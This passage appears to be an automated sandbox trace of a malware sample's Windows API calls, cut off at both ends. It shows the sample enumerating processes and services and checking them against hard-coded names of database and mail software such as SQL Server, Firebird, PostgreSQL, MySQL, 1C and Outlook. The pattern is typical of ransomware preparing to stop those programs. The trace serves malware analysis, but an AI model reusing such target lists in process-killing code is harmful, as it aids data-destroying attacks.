lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.363] lstrlenW (lpString="svchost.exe") returned 11 [0153.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0153.363] lstrlenW (lpString="explorer.exe") returned 12 [0153.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0153.364] lstrlenW (lpString="dwm.exe") returned 7 [0153.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.364] lstrlenW (lpString="svchost.exe") returned 11 [0153.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0153.364] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0153.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0153.365] lstrlenW (lpString="spoolsv.exe") returned 11 [0153.365] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0153.365] lstrlenW (lpString="reader_sl.exe") returned 13 [0153.365] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.365] lstrlenW (lpString="svchost.exe") returned 11 [0153.365] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0153.366] lstrlenW (lpString="taskhost.exe") returned 12 [0153.366] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0153.366] CloseHandle (hObject=0x1e0) returned 1 [0153.366] Sleep (dwMilliseconds=0x1f4) [0154.125] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0154.152] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0154.153] GetLastError () returned 0xea [0154.153] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x428bbd0 [0154.153] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0154.153] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0154.153] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0154.153] lstrlenW (lpString="AudioSrv") returned 8 [0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0154.154] lstrlenW (lpString="BFE") returned 3 [0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0154.154] lstrlenW (lpString="CryptSvc") returned 8 [0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0154.154] lstrlenW (lpString="CscService") returned 10 [0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0154.154] lstrlenW (lpString="DcomLaunch") returned 10 [0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0154.154] lstrlenW (lpString="Dhcp") returned 4 [0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0154.155] lstrlenW (lpString="Dnscache") returned 8 [0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0154.155] lstrlenW (lpString="DPS") returned 3 [0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0154.155] lstrlenW (lpString="eventlog") returned 8 [0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0154.155] lstrlenW (lpString="EventSystem") returned 11 [0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0154.155] lstrlenW (lpString="gpsvc") returned 5 [0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0154.155] lstrlenW (lpString="iphlpsvc") returned 8 [0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.156] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0154.156] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0154.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0154.156] lstrlenW (lpString="LanmanServer") returned 12 [0154.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0154.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0154.156] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0154.156] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0154.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0154.156] lstrlenW (lpString="LanmanWorkstation") returned 17 [0154.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.156] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0154.156] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0154.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0154.156] lstrlenW (lpString="lmhosts") returned 7 [0154.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0154.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0154.156] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0154.156] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0154.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0154.156] lstrlenW (lpString="MMCSS") returned 5 [0154.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0154.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0154.156] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0154.156] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0154.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0154.156] lstrlenW (lpString="MpsSvc") returned 6 [0154.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0154.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0154.156] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0154.156] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0154.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0154.156] lstrlenW (lpString="NlaSvc") returned 6 [0154.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0154.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0154.157] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0154.157] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0154.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0154.157] lstrlenW (lpString="nsi") returned 3 [0154.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0154.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0154.157] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0154.157] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0154.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0154.157] lstrlenW (lpString="PcaSvc") returned 6 [0154.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0154.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0154.157] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0154.157] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0154.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0154.157] lstrlenW (lpString="PlugPlay") returned 8 [0154.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0154.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0154.157] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0154.157] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0154.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0154.157] lstrlenW (lpString="Power") returned 5 [0154.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0154.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0154.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0154.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0154.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0154.157] lstrlenW (lpString="ProfSvc") returned 7 [0154.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0154.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0154.157] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0154.157] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0154.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0154.157] lstrlenW (lpString="RpcEptMapper") returned 12 [0154.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.158] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0154.158] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0154.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0154.158] lstrlenW (lpString="RpcSs") returned 5 [0154.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0154.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0154.158] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0154.158] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0154.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0154.158] lstrlenW (lpString="SamSs") returned 5 [0154.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0154.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0154.158] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0154.158] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0154.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0154.158] lstrlenW (lpString="Schedule") returned 8 [0154.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0154.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0154.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0154.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0154.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0154.158] lstrlenW (lpString="SENS") returned 4 [0154.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0154.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0154.158] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0154.158] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0154.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0154.158] lstrlenW (lpString="ShellHWDetection") returned 16 [0154.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.158] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0154.158] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0154.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0154.158] lstrlenW (lpString="Spooler") returned 7 [0154.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0154.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0154.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0154.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0154.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0154.159] lstrlenW (lpString="SysMain") returned 7 [0154.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0154.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0154.159] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0154.159] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0154.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0154.159] lstrlenW (lpString="Themes") returned 6 [0154.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0154.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0154.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0154.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0154.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0154.159] lstrlenW (lpString="TrkWks") returned 6 [0154.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0154.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0154.159] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0154.159] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0154.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0154.159] lstrlenW (lpString="UxSms") returned 5 [0154.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0154.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0154.159] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0154.159] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0154.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0154.159] lstrlenW (lpString="Winmgmt") returned 7 [0154.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0154.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0154.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0154.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0154.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0154.160] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0154.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0154.161] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.162] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0154.162] lstrlenW (lpString="System") returned 6 [0154.162] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0154.162] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0154.162] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0154.162] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0154.162] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0154.162] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0154.162] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0154.162] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0154.163] lstrlenW (lpString="smss.exe") returned 8 [0154.163] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0154.163] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.163] lstrlenW (lpString="csrss.exe") returned 9 [0154.163] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.163] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.163] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0154.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0154.163] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0154.164] lstrlenW (lpString="wininit.exe") returned 11 [0154.164] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0154.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0154.164] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0154.164] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0154.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0154.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0154.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0154.164] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.164] lstrlenW (lpString="csrss.exe") returned 9 [0154.164] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.164] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.164] lstrcmpiW (lpString1="postgres.exe", 